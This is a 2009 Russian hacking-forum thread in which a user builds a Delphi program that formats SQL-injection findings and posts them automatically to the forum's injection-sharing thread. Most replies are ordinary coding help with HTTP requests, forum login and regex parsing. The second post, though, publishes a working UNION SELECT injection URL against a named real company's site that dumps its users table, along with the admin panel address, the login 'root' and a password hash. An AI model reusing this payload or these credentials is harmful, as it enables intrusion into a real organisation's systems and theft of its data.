Просмотр полной версии : Прога для оформление sql =)
Assembler
19.02.2009, 19:41
Воти и версия 1.5.
Скрин
http://www.picatom.com/w/prog-2.html
http://www.picatom.com/w/img/prog-2.JPG
Добавлена функция проверки по антибояну, и отправки сообщения на форум в тему с инъекциями. Так же доработал кнопку отправки, теперь в поле с текстом не просто появляется новая скуль, а появляется разделитель ________________________ и после этого идет вторая скуль.
В дальнейшем планирую добавить моментальный первод данных в sql hex , щелчком мышки не заходя в программу, и добавить управление цветами, а также автоматическую проверку тиц и pr.
А теперь небольшая инструкция.
1. Обратите внимание, на раздел Данные сайта, в нем находятся поля с URL, PR и Тиц, думаю с этим все понятно, но URL сайта нужно вводить в формате http://site.com, для того чтобы программа смогла определить, есть ли сайт в Антибояне.
2. Далее уже в ходе проведения Sql инъекции заполняйте поля Version() Database() и т.д. (для удобства сделано так что при двойном щелчке по полю информация в нем стирается.
3. Теперь настало время проверить сайт по Антибояну. Для этого нажмите на кнопку" Загрузить Антибоян" и дождитесь сообщения Антибоян загружен, (делать это нужно только один раз после запуска программы, данные со странице антибояна загружаются в память программы и уже в офлайн режиме он сверяет их.) После того как вы загрузили Антибоян, нужно щелкнуть по кнопке проверить по антибояну, и вылезет табличка которая скажет вам о том есть ли сайт в списке антибояна или нет.
4. После того как заполнили эти поля. Нажмите Оформить, вы увидите уже готовый текст. Вы можете скопировать его и запостить в любое место, но если вы хотите чтобы программа сама отправила сообщение в тему с инъекциями вам необходимо проследовать по следующим пунктам.
5. Для того чтобы отправлять сообщения, нужно ввести ваши регистрационные данные от Ачата, Имя и пароль. Для этого лезем в меню настройки. И вводим в соответствующие поля имя и пароль. После чего нажимаем Окей.
6. Все мы залогинились, теперь можно использовать кнопку отправить, после нажатия которой программа запостит вашу скулю(и) в тему http://forum.antichat.ru/threadnav21336-1-10.html...
7. Сообщения отправлять можно раз в 30 секунд,так чтобы небыло, проблем после нажатия по кнопке отправить вы увидите таймер Который подскажет вам когда можно отправлять следующее сообщение.
// Новая версия
8. Теперь если вы не трогаете какие либо поля типо Version() или USER() и т.д. А оставляете их в том же виде что и при запуске программы то в самом сообщении они не указываються. (идея mailbrush)
9. Авточек тиц и пр (наконец то)
10. Вы можете сохранить свое имя и пароль.
11. Ну и что еще новго ищите сами.
PS: Версия не финальная, буду еще доделывать...
PS: Хочу сказать Огромное спасибо eLWAux, без его помощи я бы не справился, а так-же De-Visible за хорошии идеи, а так-же mailbrush за что он сам знает =)
СКАЧАТЬ
http://slil.ru/27035294
Assembler
19.02.2009, 19:42
http://www.almaz-antey.ru
PR: 3
Тиц: 2332
Версия: 5.0.20
База Данных: Data
Юзверь: almaz@localhost
http://www.almaz-antey.ru/news.php?id=-166%20union%20select%201,2,3,4,concat_ws(0x3a,id,s nap,name,content,type,pos,date),6,7,8,9,10,11,12%2 0from%20fafnir_users--
Админка http://www.almaz-antey.ru/admin
Логин: root
Пароль: 202cb962ac59075b964b07152d234b70:0:20060625112722: 20060625112722
Assembler
20.02.2009, 00:17
Ну че кто нить поюзал, мб баги какие или че нить еще?? Говорите ваши предложения... Есть маза сделать так чтобы при вызове меню на выделенном тексте в нем были пункты отправтить sql как админка и т.д. -)
Assembler, для ленивых).
было бы классно, если б она чекала пр и тиц.
потом не
юзверь, версия
а лучше user(), version()
Assembler
20.02.2009, 00:52
Тиц и пр в будующем чекать будет 108% Ну так веселее юзер() версион() устарело -()+
Уже все есть такое)) Ну лан.. норм)) Молодец!
Assembler
20.02.2009, 00:55
Тиггер, спс...
Кто хочет попасть в раздел эбоут =) (в плане эй лодка ) пишем любые баги =)
zifanchuck
20.02.2009, 01:00
+адын)
Assembler
20.02.2009, 01:19
Предлогайте ваши варианты развития прорграммы... Хочу развить так чтобы облегчить по максиуму труд Sql инжектеров... Вобщем предлогайте ваши идеи. РАссмОтрю все..
Хочу развить так чтобы облегчить по максиуму труд Sql инжектеров...
молодец!
п.с.: реализируй отправку сообщений на форум.
Assembler
20.02.2009, 13:05
Скачал ее пробую =)..
De-visible
20.02.2009, 23:11
Ноль парсинга, ноль работы с сетью, чем не устроил форумный редактор сообщения?
Assembler
20.02.2009, 23:14
Сделаю позже чтоб цвета менять можно было и тиц с пром проверяла.. А форумный ужо поднадоел, каждую скуль отдельно оформлять. по одному и томуже принципу..
De-visible
20.02.2009, 23:24
Сделаю позже чтоб цвета менять можно было и тиц с пром проверяла.. А форумный ужо поднадоел, каждую скуль отдельно оформлять. по одному и томуже принципу..
О_о, тогда думаю стоит сделать логин к форуму и пост сообщения автоматом...
Иначе программа кажется очень даже безполезной.
Для начала можешь восползоваться TidHTTP, если более продвинут то TidTCPClient ну и лучший вариант с использованием сокетов или WinINet...
Далее сделать проверку тица, как нехер делать, для парсинга страницы можешь использовать не стандатные функции для обработки текста, а модуль TRegExpr, будет очень удобно, ну и на последок, было бы не плохо сделать дизайн для этой проги под ачат, это будет довольно таки приятно.
Assembler
21.02.2009, 00:40
De-visible, о спасиб за идеи =) Постараюсь осуществить... Думаю с логином мне придеться попариться =))
De-visible
21.02.2009, 02:01
De-visible, о спасиб за идеи =) Постараюсь осуществить... Думаю с логином мне придеться попариться =))
Я обычно в разделе кодинг )) так что вопросы задавать можешь там.
а можно мальца поподробнее.... как ей пользоваться)
а можно просто юзать [*code] или [quote]
это ж не книжка-раскраска
Assembler
21.02.2009, 10:38
Да кстати De-visible скоро перееду к вам в кодинг =), я тут еще подумал, можно будет сделать так чтобы она по антибояну проверяла сайт =)). Ухх ща с работы прийду, и начну =)
De-visible
21.02.2009, 10:38
а можно просто юзать [*code] или [quote]
это ж не книжка-раскраска
Я говорил уже об этом.
Assembler
21.02.2009, 20:57
Модераторы, если можно перенесите в раздел Кодинг Delphi ..
Идея интересная, но будущего нет (ИМХО). Было бы интереснее, если реализовать в виде online-сервиса, написав, скажем, на PHP. А то при расширении функционала возникнут проблемы:
1. Не у всех широкий канал. Если добавть определение ТИЦ, ПР, отправку сообщений, то будет тратиться неоправданно много трафика.
2. При обновлении программы (а они, я думаю, будут довольно часто на первых порах) каждый раз придется выкачивать новую версию, а если будет сервисом, то просто один раз изменить код на сервере.
3. А так функционал программы можно расширять практически бесконечно: добавить автоподбор полей/таблиц, брутер слепых инъекций и т.п. Ведь было бы куда полезнее, чем просто выкладывать голую ссылку с минимумом системной информации.
В общем, удачи в кодинге :).
Assembler
21.02.2009, 23:36
Вобщем, решил начать с интерфйса, так как дизайнер я не зе бест, то хочу посоветоваться с вами, как лучше оформить программу. Вот так сказать мой вариант, жду ваших предложений..
http://www.picatom.com/v/img/newsqlaat-1.JPG
ЗЫЖ Хочу на делфях, а дальше посмотрим =)
Assembler, вот моя прога:
http://forum.antichat.ru/thread100240.html
там все в стиле ачата) +сорс и компонент TRegExpr в архиве
Assembler
22.02.2009, 01:13
eLWAux, не пугай меня так =) Я уж думал она именно то делает что я хочу =) а вот за TregExpr спасиб =)
И такс, первый вопрос, хочу сделать так чтобы прога перед началом работы при нажатии кнопки загружала антибоян 1(раз перед началом работы) И потом уже внутри себя по нему проверяла сайты на боян... Подскажите каким путем это можно сделать, желательно понятным для меня языком, то есть не слишком замудренно...
откуда загружать? из сайта или из файла?
--
загружаеш, например в listbox
и потом можно проверить:
if (listbox.items.indexof('сайт')>0) begin уже есть такой end;
Assembler
22.02.2009, 01:31
Да с сайта.. хочу чтобы загружал данные в прогу, записывал их допустим в файлик и из него уже чекал.
реализация через сокети:
uses ...,WinSock, ..;
const host = 'www.google.com'; //хост
....
var sock : TSocket;
....
function create_packet(url:string):string;
begin
result := 'GET '+url+' HTTP/1.0' + #13#10 +
'Host: ' + Host + #13#10 +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' + #13#10 +
'Accept: text/html' + #13#10 +
'Keep-Alive: 300'+ #13#10 +
'Referer: '+url+ #13#10 +
'Connection: keep-alive' + #13#10#13#10;
end;
function GET(packet: string): string;
var
wData : WSADATA;
addr : sockaddr_in;
sock : integer;
error : integer;
buf : array [0..1023] of Char;
str : string;
phe : PHostEnt;
begin
Result := '';
WSAStartup($0101, wData);
phe := gethostbyname(PChar(string(host)));
if phe = nil then begin
WSACleanup;
exit;
end;
sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if sock = INVALID_SOCKET then begin
WSACleanup;
exit;
end;
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
addr.sin_addr := PInAddr(phe.h_addr_list^)^;
error := connect(sock, addr, sizeof(addr));
if error = SOCKET_ERROR then begin
closesocket(sock);
WSACleanup;
exit;
end;
//str := 'GET '+url + ' HTTP/1.0'#13#10#13#10;
str:=packet;
send(sock, str[1], Length(str), 0);
ZeroMemory(@buf, 1024);
error := recv(sock, buf, 1024, 0);
while error > 0 do begin
Result := Result + Copy(buf, 0, error);
error := recv(sock, buf, 1024, 0);
end;
closesocket(sock);
WSACleanup;
if Result <> '' then Result:=Copy(Result, pos(#13#10#13#10, Result)+4,Length(Result));
end;
var answ : string;
answ := get( create_packet('http://www.google.com/') );
сохранение в файл:
AssignFile(myFile, 'file.txt');
ReWrite(myFile);
WriteLn(myFile, answ);
CloseFile(myFile);
ну и прочитать в listbox стандартно:
listbox1.items.loadfromfile('file.txt');
Assembler
22.02.2009, 12:16
eLWAux, спасибо огромное. =)
Есть еще один вопрос, можно ли сделать так чтобы когда копаешься на сайте, выделив определнный элемент (название таблицы) и щелкнув правой кнопой мыхи, появлялось контекстное меню, в котором было бы подменю с названием sql, при нажатии которого данные отправлялись в прогу, переделывались в sql hex и после этого записывались в буфер?
De-visible
22.02.2009, 20:28
реализация через сокети:
uses ...,WinSock, ..;
const host = 'www.google.com'; //хост
....
var sock : TSocket;
....
function create_packet(url:string):string;
begin
result := 'GET '+url+' HTTP/1.0' + #13#10 +
'Host: ' + Host + #13#10 +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' + #13#10 +
'Accept: text/html' + #13#10 +
'Keep-Alive: 300'+ #13#10 +
'Referer: '+url+ #13#10 +
'Connection: keep-alive' + #13#10#13#10;
end;
function GET(packet: string): string;
var
wData : WSADATA;
addr : sockaddr_in;
sock : integer;
error : integer;
buf : array [0..1023] of Char;
str : string;
phe : PHostEnt;
begin
Result := '';
WSAStartup($0101, wData);
phe := gethostbyname(PChar(string(host)));
if phe = nil then begin
WSACleanup;
exit;
end;
sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if sock = INVALID_SOCKET then begin
WSACleanup;
exit;
end;
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
addr.sin_addr := PInAddr(phe.h_addr_list^)^;
error := connect(sock, addr, sizeof(addr));
if error = SOCKET_ERROR then begin
closesocket(sock);
WSACleanup;
exit;
end;
//str := 'GET '+url + ' HTTP/1.0'#13#10#13#10;
str:=packet;
send(sock, str[1], Length(str), 0);
ZeroMemory(@buf, 1024);
error := recv(sock, buf, 1024, 0);
while error > 0 do begin
Result := Result + Copy(buf, 0, error);
error := recv(sock, buf, 1024, 0);
end;
closesocket(sock);
WSACleanup;
if Result <> '' then Result:=Copy(Result, pos(#13#10#13#10, Result)+4,Length(Result));
end;
var answ : string;
answ := get( create_packet('http://www.google.com/') );
сохранение в файл:
AssignFile(myFile, 'file.txt');
ReWrite(myFile);
WriteLn(myFile, answ);
CloseFile(myFile);
ну и прочитать в listbox стандартно:
listbox1.items.loadfromfile('file.txt');
Ну да да да, что бы получить ОДНУ СТРАНИЦУ, мы используем сокеты... показуха какая то...
Получаем страницу с помощью TidHTTP и парсим регуляркой...
Пользоваться сокетами нужно там где они действительно нужны...
Assembler
22.02.2009, 22:05
De-visible, хмм а поподробнее можно?
добавляеш IdHTTP из вкладки "Indy Clients".
вот тебе два примера:
1) загрузки страници "Антибоян" - "http://constant1ne.by.ru/sqls.html"
в listbox с помощью IdHTTP, GET методом (каждий сайт в отдельний item):
var i:integer ;
begin
GET метод (для http)
// загружаем страницу в listbox
listbox1.Items.Text:= IdHttp1.Get('http://constant1ne.by.ru/sqls.html');
// пример проверки сайта по Антибоян'у
if (listbox1.Items.IndexOf('http://numi.is')>0) then
showmessage('[боян] http://numi.is') else
showmessage('http://numi.is нету в списке Антибоян!');
2) пример POST метода,
для логина на ачат (по https):
var i:integer ;
IdHandler: TIdSSLIOHandlerSocket;
CookMan: TidCookieManager;
Params: TStringList;
username,password,md5_password:string;
begin
POST метод (для https)
// ето нужно для роботи с https
IdHandler:=TIdSSLIOHandlerSocket.Create(nil);
IdHandler.SSLOptions.Method:=sslvTLSv1;
IdHTTP1.IOHandler:=IdHandler;
// сookie хранитель
IdHTTP1.AllowCookies:=true;
CookMan:=TidCookieManager.Create(idHTTP1);
idHttp1.CookieManager := CookMan;
username := 'eLWAux';
password := 'твой_пароль';
md5_password := 'или_md5_твоего_пароля';
// данние, которие передаютса в POST запросе
Params:=TStringList.Create;
Params.add('vb_login_username='+username);
Params.add('vb_login_password='+password);
Params.add('cookieuser=1');
Params.add('s=');
Params.add('do=login');
Params.add('forceredirect=1');
Params.add('vb_login_md5password='+md5_password);
try
IdHTTP1.Port:=443; // https
// необязательно - юзер агент
IDHttp1.Request.UserAgent:='Mozila';
// рефферер
IdHTTP1.Request.Referer:='https://forum.antichat.ru/index.php?';
// а вот и он, POST запрос на login.php )
memo1.Lines.Text:=
IdHttp1.Post('http://forum.antichat.ru/login.php?',params);
finally
IdHTTP1.Free;
IdHandler.Free;
Params.Free;
end;
вот и все..
думаю поймеш, как отправлять сообщения на форум..
)
Assembler
24.02.2009, 22:35
eLWAux, Чтоб я без тебя делал +) Спасибо огроменное =)
Как я понял чтобы отправить сообщение нада вот с этим поковыряться?
<input type="hidden" name="fromquickreply" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="postreply" />
<input type="hidden" name="t" value="21336" id="qr_threadid" />
<input type="hidden" name="p" value="who cares" id="qr_postid" />
<input type="hidden" name="parseurl" value="1" />
<input type="hidden" name="clickedelm" value="" />
<input type="submit" class="button" value="Отправить быстрый ответ" accesskey="s" title="(Alt + S)" name="sbutton" tabindex="2" onclick="this.form.clickedelm.value=this.value" />
<input type="submit" class="button" value="Расширенный режим" accesskey="x" title="(Alt + X)" name="preview" tabindex="3" id="qr_preview" onclick="this.form.clickedelm.value = this.value" />
</div>
Как я понял чтобы отправить сообщение нада вот с этим поковыряться?
да, именно!
<form action="newreply.php" method="post" name="vbform" onsubmit="return checkQR(this);">
<textarea name="message" id="qr_message" class="bginput" style="width: 600px; height: 100px;" rows="5" cols="60" tabindex="1">
<input type="hidden" name="fromquickreply" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="do" value="postreply" />
<input type="hidden" name="t" value="21336" id="qr_threadid" />
<input type="hidden" name="p" value="who cares" id="qr_postid" />
<input type="hidden" name="parseurl" value="1" />
<input type="hidden" name="clickedelm" value="" />
<input type="submit" class="button" value="Отправить быстрый ответ" accesskey="s" title="(Alt + S)"
name="sbutton" tabindex="2" onclick="this.form.clickedelm.value=this.value" />
<input type="submit" class="button" value="Расширенный режим" accesskey="x" title="(Alt + X)"
name="preview" tabindex="3" id="qr_preview" onclick="this.form.clickedelm.value = this.value" />
</div>
т.е. отправляеш на http(s)://forum.antichat.ru/newreply.php POST методом c параметрами:
fromquickreply=1
t=номер_теми
message=текст_сообщения
s=
do=postreply
p=who cares
parseurl=1
clickedelm=Отправить быстрый ответ
sbutton=Отправить быстрый ответ
пробуй, експериметируй)
а лучше постав себе на локалку воблу, и потестируй)
Assembler
25.02.2009, 16:42
Спасибо еще раз =) Пошел эксерементировать =))
____________________________
Вот то что получилось:
http://rapidshare.com/files/202418155/Archive22.zip.html
Зеркало. (http://depositfiles.com/files/71eccxgb9)
http://slil.ru/26998348
Cообщения отправляет, вроде все нормально, но есть проблемы, выдает ошибку после отправки сообщения, и второй раз не дает отправить...
eLWAux, посмотри что я не так сделал? И еще раз спасибо.
___________________________
Еще покопался понял что вторя ошибка была из-за
IdHTTP1.Free;
IdHandler.Free;
Params.Free;
Отключил //
Теперь можно отправлять подряд много сообщений с тайм аутом в 30 сек все как и полжено, но до сих пор не могу понять что это за ошибка...
HTTP/1.1 302 Moved Temporarily.
_________________________________
УРААААААААААААААААААА. Все работает проблема была в handleredirect нужно было поставить true =))... Ухх скоро уже закончу =)
Assembler
26.02.2009, 12:54
Чтемс первый пост!
De-visible
26.02.2009, 18:55
Еще один новичек потихоньку продвигается в круг программеров)))
Assembler
27.02.2009, 10:08
При переходе по этой ссылке http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://google.ru показывается тиц. В исходном коде
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?
De-visible
27.02.2009, 10:37
При переходе по этой ссылке http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://google.ru показывается тиц. В исходном коде
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?
Регуляркой, или же парсить в ручную, pos,Copy, и т.д.
<url domain="www.google.ru">/</url>
<tcy rang="6" value="76000"/> Как вывести его в программу?
uses ...RegExpr..;
var regexp: TRegExpr;
..
answ = '<tcy rang="6" value="76000"/>';
RegExp.Expression := '<tcy rang="(\d+)" value="(\d+)"/>'; //регулярка
RegExp.Exec(answ); //парсим answ регуляркой
rand := RegExp.Substitute('$1'); //получаем первое совпадение
value:= RegExp.Substitute('$2');//получаем второе
..
Assembler
28.02.2009, 18:51
Если кому интересно смотрите что примерно будет в новой версии =)
http://itmages.ru/view.php?action=view&id=2506&key=821ce3
Если кому интересно смотрите что примерно будет в новой версии =)
http://itmages.ru/view.php?action=view&id=2506&key=821ce3
- почему "фиолетовий" фон?
- некрасивие кнопки =\
- слишком большая форма..
- картинка ачата слишком ростянутая..)
^^ вот что мне не понравилось =\
Assembler
01.03.2009, 01:34
Это я подгонял под размер картинки поэтому и вытянул. Вот думаю остановиться на этом, но есть возможность свернуть его в первоначальный вариант... Нажав галочку Упрощенный вариант, А вот и скрин.
http://4hq.org/hosted_image/cia1235857580a.JPG
А насчет фона хз.. Почемуто получился =)) Нада переделать а то чето уже 3 раза лохонулся за седняшний день, но зато теперь тиц автоматом проверяет, скоро будет и пр, а потом уже выдам финал версион в 1пост темы =)
Руки дойдут дак нада будет Formsyle:= fsnone;
Assembler
01.03.2009, 01:59
eLWAux, оо вот так вабще зачетно =)
http://4hq.org/hosted_image/one1235858295t.JPG
Assembler
09.03.2009, 00:48
Уже близиться финальная версия, теперь если оставить поля пустыми (касается полей Пр, тиц, Версия, БД, пользоваетль, админка, логин, пароль) то они их не будет в сообщении. Определяет тиц... Думаю через недельку будет уже все готово...
-m0rgan-
09.03.2009, 01:05
сделай авточекер тиц и пр, тогда будет зашибись)
Assembler
09.03.2009, 01:26
Тиц уже чекает, осталось пр...
Assembler
09.03.2009, 12:34
Мб кто подскажет как картинку в прогу загрузить,
допустим в image1 = http://ya.ru/logo.jpg
Вот.
Идея есть
var
f=: создать файл 'c:/logo.jpg'
begin
idhttp2.Get('http://ya.ru/logo.jpg', f);
И дальше уже просто вывод из файла!!
Помогите реализовать...
Чето то, типа этого -
///////////////////////////////////////////
temp: TMemoryStream;
jpeg: TJpegImage
////////////////////////////////////////////
temp:= TMemoryStream.Create;
jpeg := TJpegImage.Create;
idhttp2.Get('http://ya.ru/logo.jpg', temp);
temp.Position:=0;
jpeg.LoadFromStream(temp);
image1.Picture.Graphic:= jpeg;
jpeg.Free;
temp.Free;
Assembler
09.03.2009, 13:52
Не немного не то.. Я уже сделал.
var
fs: tfilestream;
begin
try
fs:=tfilestream.create('/Tpr.jpg',fmcreate);
idhttp1.get('<>',fs);
finally
fs.free;
end;
Assembler
09.03.2009, 17:22
Читаем первый пост выложил новую версию!!!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot